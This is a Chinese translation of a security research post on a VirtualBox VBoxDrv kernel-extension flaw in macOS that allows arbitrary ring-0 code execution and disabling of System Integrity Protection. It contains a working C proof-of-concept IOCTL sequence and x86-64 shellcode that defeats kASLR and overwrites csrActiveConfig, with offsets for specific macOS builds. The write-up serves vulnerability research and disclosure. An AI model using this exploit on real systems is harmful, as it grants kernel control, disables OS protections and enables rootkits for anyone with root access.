翻译:CoolCat
原文:https://www.mdsec.co.uk/2018/08/disabling-macos-sip-via-a-virtualbox-kext-vulnerability/
系统完整性保护(System Integrity Protection即为下文章提到的SIP)是OS X El Capitan以后的MacOS中引入的一种安全策略,用于保护关键系统组件免受所有帐户(包括root用户)的攻击。自推出以来,出现了很多漏洞可以用来绕过了这项技术,要么出现在macOS本身,要么出现在第三方驱动程序。
正如我们在前一篇探讨AV自保护 的文章中提到的,攻击者利用保护特性来隐藏或保护软件的能力的手法非常有趣。考虑到这一点,我想看看SIP的绕过是如何执行的,看看我们是否能找到一种方法通过签名驱动中的漏洞来实现这一点。由于我们将重点关注一个合法的内核驱动程序,漏洞可以适用于任意的MacOS系统上,漏洞执行仅需下载kext。
这篇文章不涉及的是绕过安全内核扩展加载(SKEL)的能力。如果你对此感兴趣,可以看看Patrick Wardle最近的演讲。
由于SIP是由macOS内核(XNU)强制执行的,因此我们将设置LLDB来探索Ring-0中的一些有趣区域。如果您需要一个关于如何实现此目的的演练,建议您查看我们在这里的前一篇文章(点这儿),里面如何使用VMWare Fusion配置虚拟调试环境。
调试器设置好后,让我们首先看看如何找到一个脆弱的驱动程序…进入VirtualBox。
众所周知,VirtualBox是甲骨文公司(Oracle)旗下的开源程序,其源代码点这儿。下载安装VirtualBox后可以看到“kextstat”给出了以下加载的驱动程序列表:
222 3 0xffffff7f8703a000 0x64000 0x64000 org.virtualbox.kext.VBoxDrv (5.2.16) 8F6F825C-9920-39E4-AF20-6DD4F233D4F1 <7 5 4 3 1>
223 0 0xffffff7f8709e000 0x8000 0x8000 org.virtualbox.kext.VBoxUSB (5.2.16) 1731469A-4A2D-32D4-8F03-4D138AAE1FE9 <222 166 54 7 5 4 3 1>
225 0 0xffffff7f870a8000 0x5000 0x5000 org.virtualbox.kext.VBoxNetFlt (5.2.16) 59F71856-C064-3B98-A8AD-B2C33164FBC2 <222 7 5 4 3 1>
226 0 0xffffff7f871f8000 0x6000 0x6000 org.virtualbox.kext.VBoxNetAdp (5.2.16) 24514714-1702-3FF6-90F8-8F3E79B4D8A4 <222 5 4 1>
下文着重关注VBoxDrv
。这是VirtualBox的驱动程序之一。为了开始我们的分析,我们将使用Darwin
特有的扩展代码,点击我可以找到。
刚开始可以看到一些I/O工具包代码的设置,IOUserClient类被继承:
class org_virtualbox_SupDrvClient : public IOUserClient
{
…
}
我们将从方法org_virtualbox_SupDrvClient::initWithTask
入手,该方法用于验证传递的类型并与SUP_DARWIN_IOSERVICE_COOKIE
的值匹配:
/**
* Initializer called when the client opens the service.
*/
bool org_virtualbox_SupDrvClient::initWithTask(task_t OwningTask, void *pvSecurityId, UInt32 u32Type)
{
…
if (u32Type != SUP_DARWIN_IOSERVICE_COOKIE)
{
LogRelMax(10,("org_virtualbox_SupDrvClient::initWithTask: Bad cookie %#x (%s)\n", u32Type, pszProcName));
return false;
}
通过该检查后进入了方法org_virtualbox_SupDrvClient::start(IOService *pProvider)
,其用于填充一个会话对象,并且允许我们与扩展进行交互:
/*
* Create a new session.
*/
int rc = supdrvCreateSession(&g_DevExt, true /* fUser */, false /*fUnrestricted*/, &m_pSession);
if (RT_SUCCESS(rc)) { }
这个内核扩展还通过/dev/vboxdrv
和/dev/vboxdrvu
公开了两个字符设备。如果我们看一下VBoxDrvDarwinOpen
函数会发现它可以在任何字符设备上的开放调用时被调用,我们可以看到/dev/vboxdrv
不同于/dev/vboxdrvu
,因为它有一个“无限制”的标志:
static int VBoxDrvDarwinOpen(dev_t Dev, int fFlags, int fDevType, struct proc *pProcess)
{
...
const bool fUnrestricted = minor(Dev) == 0;
还可以看到在这个函数允许我们继续使用之前搜索活动会话列表:
pSession = g_apSessionHashTab[iHash];
while (pSession && pSession->Process != Process)
pSession = pSession->pNextHash;
if (pSession)
{
if (!pSession->fOpened)
{
pSession->fOpened = true;
pSession->fUnrestricted = fUnrestricted;
pSession->Uid = Uid;
pSession->Gid = Gid;
}
else
rc = VERR_ALREADY_LOADED;
}
else
rc = VERR_GENERAL_FAILURE;
这意味着在调用字符设备上的开放函数之前必须保证有一个有效的会话是打开状态的。这是使用IOServiceOpen API
调用和支持函数最直接的方法,比如:
io_connect_t open_service(const char *name) {
CFMutableDictionaryRef dict;
io_service_t service;
io_connect_t connect;
kern_return_t result;
mach_port_t masterPort;
io_iterator_t iter;
if ((dict = IOServiceMatching(name)) == NULL) {
printf("[!] IOServiceMatching call failed\n");
return -1;
}
if ((result = IOMasterPort(MACH_PORT_NULL, &masterPort)) != KERN_SUCCESS) {
printf("[!] IOMasterPort Call Failed\n");
return -1;
}
if ((result = IOServiceGetMatchingServices(masterPort, dict, &iter)) != KERN_SUCCESS) {
printf("[!] IOServiceGetMatchingServices call failed\n");
return -1;
}
service = IOIteratorNext(iter);
// Note the magic flag 0x64726962
if ((result = IOServiceOpen(service, mach_task_self(), 0x64726962, &connect)) != KERN_SUCCESS) {
printf("[!] IOServiceOpen failed %s\n", name);
return -1;
}
return connect;
}
随后建立与`IOService连接,我们就可以对字符设备进行随意调用了。
一旦获取到字符设备的文件句柄,我们就可以进行一个IOCTL
调用,该调用由两个处理器其中之一支持,一个是VBoxDrvDarwinIOCtl
,另一个是VBoxDrvDarwinIOCtlSMAP
。这里我们看到,VBoxDrvDarwinIOCtlSMAP
实际上是在执行传递给VBoxDrvDarwinIOCtl
之前禁用SMAP
,这就意味着如果我们能够在这个函数的入口和出口之间发现漏洞,就可以将执行返回到我们的用户域的shellcode:
static int VBoxDrvDarwinIOCtlSMAP(dev_t Dev, u_long iCmd, caddr_t pData, int fFlags, struct proc *pProcess)
{
/*
* Allow VBox R0 code to touch R3 memory. Setting the AC bit disables the
* SMAP check.
*/
RTCCUINTREG fSavedEfl = ASMAddFlags(X86_EFL_AC);
int rc = VBoxDrvDarwinIOCtl(Dev, iCmd, pData, fFlags, pProcess);
#if defined(VBOX_STRICT) || defined(VBOX_WITH_EFLAGS_AC_SET_IN_VBOXDRV)
/*
* Before we restore AC and the rest of EFLAGS, check if the IOCtl handler code
* accidentially modified it or some other important flag.
*/
if (RT_UNLIKELY( (ASMGetFlags() & (X86_EFL_AC | X86_EFL_IF | X86_EFL_DF | X86_EFL_IOPL))
!= ((fSavedEfl & (X86_EFL_AC | X86_EFL_IF | X86_EFL_DF | X86_EFL_IOPL)) | X86_EFL_AC) ))
{
char szTmp[48];
RTStrPrintf(szTmp, sizeof(szTmp), "iCmd=%#x: %#x->%#x!", iCmd, (uint32_t)fSavedEfl, (uint32_t)ASMGetFlags());
supdrvBadContext(&g_DevExt, "SUPDrv-darwin.cpp", __LINE__, szTmp);
}
#endif
ASMSetFlags(fSavedEfl);
return rc;
}
一旦传递给VBoxDrvDarwinIOCtl
, IOCTL
数据的参数就会从请求中提取一个报头并完成一些完整性检查。如果一切正常,执行路径就会从Darwin特定的代码转移到所有受支持的操作系统(supdrvIOCtl)中共享的代码。我们尝试利用一下这个脆弱的设定。
在supdrvIOCtl
中,我们首先看到IOCTL
头的验证:
if (RT_UNLIKELY( (pReqHdr->fFlags & SUPREQHDR_FLAGS_MAGIC_MASK) != SUPREQHDR_FLAGS_MAGIC
|| pReqHdr->cbIn < sizeof(*pReqHdr) || pReqHdr->cbIn > cbReq
|| pReqHdr->cbOut < sizeof(*pReqHdr) || pReqHdr->cbOut > cbReq))
这里的代码只是检查请求的长度,并确保flags字段中存在至上SUPREQHDR_FLAGS_MAGIC_MASK
的值。
接下来,根据前面设置的fUnrestricted
变量的值,函数会产生两个执行结果:
if (pSession->fUnrestricted)
rc = supdrvIOCtlInnerUnrestricted(uIOCtl, pDevExt, pSession, pReqHdr);
else
rc = supdrvIOCtlInnerRestricted(uIOCtl, pDevExt, pSession, pReqHdr);
快速看一下到这个if判断,因为这两个代码的路径公开了截然不同的IOCTL方法。fUnrestricted
设置之间的主要区别是基于/dev/vboxdrv
或/dev/vboxdrvu
的打开,前者将fUnrestricted
值设置为true。检查两个字符设备文件权限:
crw------- 1 root wheel 35, 0 11 Aug 23:59 /dev/vboxdrv
crw-rw-rw- 1 root wheel 35, 1 11 Aug 23:59 /dev/vboxdrvu
很不幸,/dev/vboxdrvu
(根据这文件权限,所有用户都可以使用它)没有任何值得开发的内容,那就意味着我们需要使用根用户访问vboxdrv
。
继续跟进supdrvIOCtlInnerUnrestricted
,可以看到一些暴露的IOCTL
方法供我们探索。我们对这篇文章感兴趣的三个方面是:
SUP_IOCTL_COOKIE
这是我们需要用于检索后续调用的cookie
而进行的IOCTL
调用。主要是为了验证步骤是在请求u.In.szMagic
中存在的SUPCOOKIE_MAGIC
的值。此外,u.In.u32MinVersion
需要设置驱动程序所支持的版本。
了解了这点之后,我们可以使用以下代码填充我们的初始请求:
SUPCOOKIE cookie;
memset(&cookie, 0, sizeof(SUPCOOKIE));
cookie.Hdr.u32Cookie = SUPCOOKIE_INITIAL_COOKIE;
cookie.Hdr.u32SessionCookie = 0x41424344;
cookie.Hdr.cbIn = SUP_IOCTL_COOKIE_SIZE_IN;
cookie.Hdr.cbOut = SUP_IOCTL_COOKIE_SIZE_OUT;
cookie.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
cookie.u.In.u32ReqVersion = SUPDRV_IOC_VERSION;
strcpy(cookie.u.In.szMagic, SUPCOOKIE_MAGIC);
cookie.u.In.u32MinVersion = 0x290001;
cookie.Hdr.rc = VERR_INTERNAL_ERROR;
发包时可以看到我们收到了必须与标头中的后续请求一起转发的cookie.u.Out.u32Cookie
值。
SUP_IOCTL_LDR_OPEN
对于这个调用,我们再次需要传递一些验证步骤,这只是设置正确的参数以满足以下要求的情况:
PSUPLDROPEN pReq = (PSUPLDROPEN)pReqHdr;
REQ_CHECK_SIZES(SUP_IOCTL_LDR_OPEN);
REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, pReq->u.In.cbImageWithTabs > 0);
REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, pReq->u.In.cbImageWithTabs < 16*_1M); REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, pReq->u.In.cbImageBits > 0);
REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, pReq->u.In.cbImageBits > 0);
REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, pReq->u.In.cbImageBits < pReq->u.In.cbImageWithTabs);
REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, pReq->u.In.szName[0]);
REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, RTStrEnd(pReq->u.In.szName, sizeof(pReq->u.In.szName)));
REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, !supdrvCheckInvalidChar(pReq->u.In.szName, ";:()[]{}/\\|&*%#@!~`\"'"));
REQ_CHECK_EXPR(SUP_IOCTL_LDR_OPEN, RTStrEnd(pReq->u.In.szFilename, sizeof(pReq->u.In.szFilename)));
通过这个阶段后进入supdrvIOCtl_LdrOpen
方法,它将检查我们是否已经通过内核扩展加载了图像。如果不存在,就会分配一块内存,并通过IOCTL响应返回给我们。下面我们看到Ring-0中分配的内存被标记为可执行文件:
pImage->pvImageAlloc = RTMemExecAlloc(pImage->cbImageBits + 31);
为了创建一个有效的请求,我们可以这样做:
SUPLDROPEN ldropen;
memset(&ldropen, 0, sizeof(SUPLDROPEN));
ldropen.Hdr.u32Cookie = cookie.u.Out.u32Cookie;
ldropen.Hdr.u32SessionCookie = cookie.u.Out.u32SessionCookie;
ldropen.Hdr.cbIn = sizeof(SUPLDROPEN);
ldropen.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
ldropen.Hdr.cbOut = SUP_IOCTL_LDR_OPEN_SIZE_OUT;
ldropen.u.In.cbImageWithTabs = 100;
ldropen.u.In.cbImageBits = 80;
strcpy(ldropen.u.In.szFilename, "/tmp/notsupported");
strcpy(ldropen.u.In.szName, "XPN", 3);
ioctl(fd, SUP_IOCTL_LDR_OPEN, &ldropen);
响应中提供了一个指向u.Out.pvImageBase
分配的内存区域指针。下次调用中需要用到。
SUP_IOCTL_LDR_LOAD
我们需要在Ring-0中执行IOCTL代码的最后一个SUP_IOCTL_LDR_LOAD
,它接收我们之前分配的可执行内存的参数并加载的任意数据。
回顾IOCTL的处理过程,在对我们提供的图像数据进行了一些处理步骤之后,我们得到了u.In.pfnModuleInit的值。令人惊讶的是,这个值后来被用于Ring-0中的执行传递给用户提供的地址:
pImage->pfnModuleInit = pReq->u.In.pfnModuleInit;
...
rc = pImage->pfnModuleInit(pImage);
在准备好所有组件之后,我们可以完成以下步骤来执行Ring-0中的代码:
org_virtualbox_SupDrv
的IOService
会话,传递SUP_DARWIN_IOSERVICE_COOKIE
/dev/vboxdrv
SUP_IOCTL_COOKIE
的IOCTL
请求cookie
发送SUP_IOCTL_LDR_OPEN
的IOCTL
请求pfnModuleInit
属性发送SUP_IOCTL_LDR_LOAD
的IOCTL
请求现在知道了如何获得任意的内核代码执行,这个漏洞可以用来创建一个rootkit,也可以用来破坏内核内存,但是在本文中,我想利用这个漏洞来禁用SIP。
为了更好的理解如何禁用SIP,首先需要了解它是如何工作的,以及它是如何由内核强制执行的。为此,我们将一起看一下XNU的代码。
首先要关注的是syscall程序里的syscall_csr_check:
int
syscall_csr_check(struct csrctl_args *args)
{
csr_config_t mask = 0;
int error = 0;
if (args->useraddr == 0 || args->usersize != sizeof(mask))
return EINVAL;
error = copyin(args->useraddr, &mask, sizeof(mask));
if (error)
return error;
return csr_check(mask);
}
如图所示,控制被传递给csr_check函数:
int
csr_check(csr_config_t mask)
{
boot_args *args = (boot_args *)PE_state.bootArgs;
if (mask & CSR_ALLOW_DEVICE_CONFIGURATION)
return (args->flags & kBootArgsFlagCSRConfigMode) ? 0 : EPERM;
csr_config_t config;
int ret = csr_get_active_config(&config);
if (ret) {
return ret;
}
…
这里可以看到一个由内核公开的符号PE_state
,对代码的进一步跟踪发现,PE_state
允许我们通过以下方式访问CSR标志:
boot_args *args = (boot_args *)PE_state.bootArgs;
if (args->flags & kBootArgsFlagCSRActiveConfig) {
*config = args->csrActiveConfig & CSR_VALID_FLAGS;
...
boot_args.csrActiveConfig
看起来是内核调试器转储的好地方:
(lldb) print ((boot_args *)PE_state.bootArgs)->csrActiveConfig
(uint32_t) $7 = 103
我们可以在bsd/sys/csr.h
看到一个应用的位掩码。实际上可以设置为一个标志,包括启用/禁用受限文件系统访问、调试、无符号kexts的选项:
/* Rootless configuration flags */
#define CSR_ALLOW_UNTRUSTED_KEXTS (1 << 0)
#define CSR_ALLOW_UNRESTRICTED_FS (1 << 1)
#define CSR_ALLOW_TASK_FOR_PID (1 << 2)
#define CSR_ALLOW_KERNEL_DEBUGGER (1 << 3)
#define CSR_ALLOW_APPLE_INTERNAL (1 << 4)
#define CSR_ALLOW_DESTRUCTIVE_DTRACE (1 << 5) /* name deprecated */
#define CSR_ALLOW_UNRESTRICTED_DTRACE (1 << 5)
#define CSR_ALLOW_UNRESTRICTED_NVRAM (1 << 6)
#define CSR_ALLOW_DEVICE_CONFIGURATION (1 << 7)
#define CSR_ALLOW_ANY_RECOVERY_OS (1 << 8)
#define CSR_ALLOW_UNAPPROVED_KEXTS (1 << 9)
所以如果我们想允许访问/System/目录,我们可以设置
CSR_ALLOW_UNRESTRICTED_FS
。在调试器会话中测试一下这点:
到这里知道了在尝试禁用SIP时,我们需要使用漏洞修改什么。
现在有了在Rang-0中执行任意代码所需的组件,为了禁用SIP,需要组合一个基本的漏洞来发我们的代码执行。代码如下:
char shellcode[] = “\xc3”;
SUPCOOKIE cookie;
SUPLDROPEN ldropen;
SUPLDRLOAD *ldr = (SUPLDRLOAD *)malloc(9999);
int d;
printf("@_xpn_ - VirtualBox Ring0 Exec - SIP Bypass POC\n\n");
printf("[*] Ready...\n");
io_connect_t conn = open_service("org_virtualbox_SupDrv");
if (conn < 0) {
return 2;
}
printf("[*] Steady...\n");
int fd = open("/dev/vboxdrv", O_RDWR);
if (fd < 0) {
printf("[*] Fail... could not open /dev/vboxdrv\n");
return 2;
}
memset(&cookie, 0, sizeof(SUPCOOKIE));
cookie.Hdr.u32Cookie = SUPCOOKIE_INITIAL_COOKIE;
cookie.Hdr.u32SessionCookie = 0x41424345;
cookie.Hdr.cbIn = SUP_IOCTL_COOKIE_SIZE_IN;
cookie.Hdr.cbOut = SUP_IOCTL_COOKIE_SIZE_OUT;
cookie.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
cookie.u.In.u32ReqVersion = SUPDRV_IOC_VERSION;
strcpy(cookie.u.In.szMagic, SUPCOOKIE_MAGIC);
cookie.u.In.u32MinVersion = 0x290001;
cookie.Hdr.rc = VERR_INTERNAL_ERROR;
ioctl(fd, SUP_IOCTL_COOKIE, &cookie);
memset(&ldropen, 0, sizeof(SUPLDROPEN));
ldropen.Hdr.u32Cookie = cookie.u.Out.u32Cookie;
ldropen.Hdr.u32SessionCookie = cookie.u.Out.u32SessionCookie;
ldropen.Hdr.cbIn = sizeof(SUPLDROPEN);
ldropen.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
ldropen.Hdr.cbOut = SUP_IOCTL_LDR_OPEN_SIZE_OUT;
ldropen.u.In.cbImageWithTabs = 100;
ldropen.u.In.cbImageBits = 80;
strcpy(ldropen.u.In.szFilename, "/tmp/ignored");
strncpy(ldropen.u.In.szName, "XPN3", 3)
ioctl(fd, SUP_IOCTL_LDR_OPEN, &ldropen);
printf(“DEBUG: Place breakpoint on %p\n”, ldropen.u.Out.pvImageBase);
scanf(“%d”, &pause);
memset(ldr, 0x0, 9999);
memcpy(ldr->u.In.abImage, shellcode, sizeof(shellcode));
ldr->Hdr.u32Cookie = cookie.u.Out.u32Cookie;
ldr->Hdr.u32SessionCookie = cookie.u.Out.u32SessionCookie;
ldr->Hdr.cbIn = SUP_IOCTL_LDR_LOAD_SIZE_IN(100);
ldr->Hdr.cbOut = 2080;
ldr->Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
ldr->u.In.cbImageWithTabs = 100;
ldr->u.In.cbImageBits = 80;
ldr->u.In.pvImageBase = ldropen.u.Out.pvImageBase;
ldr->u.In.pfnModuleInit = ldropen.u.Out.pvImageBase;
ioctl(fd, SUP_IOCTL_LDR_LOAD, ldr);
printf("[*] SIP Disabled!\n\n");
在这里添加了一条调试语句,显示了我们的伪加载器将被添加到的内存位置。如果我们将所有这些连接在一起,并在正确的位置添加一个断点(我们分配的内核内存),我们可以看到我们的内核调试器中的一个断点:
现在剩下要做的就是编写代码,然后处理kASLR。
到目前为止,我们还没有涉及到的领域之一是kASLR,它被用于macOS目前所有的版本,使开发人员的开发工作更加困难。在我们的例子中,kASLR并不构成太大的威胁,因为我们在内核空间中有完整的代码执行。这意味着我们可以简单地使用shellcode搜索内核地址,并利用它来计算kASLR幻灯片。
让我们看看当我们到达断点时的回溯:
可以看到堆栈上有一些内核指针,可以使用它来计算kASLR slide。由于kASLR被禁用,XNU内核被加载到一个固定地址0xffffff8000200000
。我们就可以通过在没有kASLR的情况下加载时从堆栈的原始位置减去在堆栈上找到的指针来计算kASLR幻灯片。
如果我们选择在kernel.developmentspec_ioctl
内的backtrace
中显示的第一个内核地址,我们可以编写shellcode遍历堆栈帧来计算kASLR slide,然后修改csrActiveConfig
:
push rbx
mov rax, [rbp] ; First stack frame
mov rax, [rax] ; Second stack frame
mov rax, [rax] ; Third stack frame
mov rax, [rax + 8] ; Kernel address (0xffffff800062b101 in development kernel)
mov rbx, 0xffffff800062b101
sub qword rax, rbx ; Get slide
mov rbx, 0xffffff8000e838f8 + 0xA0
add qword rax, rbx ; PE Boot + bootArgs
mov rax, [rax]
mov byte [rax + 0x498], 0x67 ; csrActiveconfig
mov rax, 2
pop rbx
ret
上述shellcode是针对内核10.13.6_17G65写的,针对其他版本不同的地方也就利用符号计算所需的地址出现在任何内核映像(见nm命令),或通过使用VMWare调试器引导到一个非开发性内核和简单地添加断点并查看回溯。
例如,如果我们想要针对10.13.6写shellcode时,会得到以下代码:
push rbx
mov rax, [rbp] ; First stack frame
mov rax, [rax] ; Second stack frame
mov rax, [rax] ; Third stack frame
mov rax, [rax + 8] ; Kernel address
mov rbx, 0xFFFFFF80004D6EB1
sub qword rax, rbx ; Get slide
mov rbx, 0xFFFFFF8000C1D1A8 + 0xA0
add qword rax, rbx ; PE Boot + bootArgs
mov rax, [rax]
mov byte [rax + 0x498], 0x67 ; csrActiveconfig
mov rax, 2
pop rbx
ret
现在有了利用漏洞所需的所有组件,绕过kASLR并修改SIP,让我们把所有步骤放在一起,看看这个在非开发内核上运行的演示: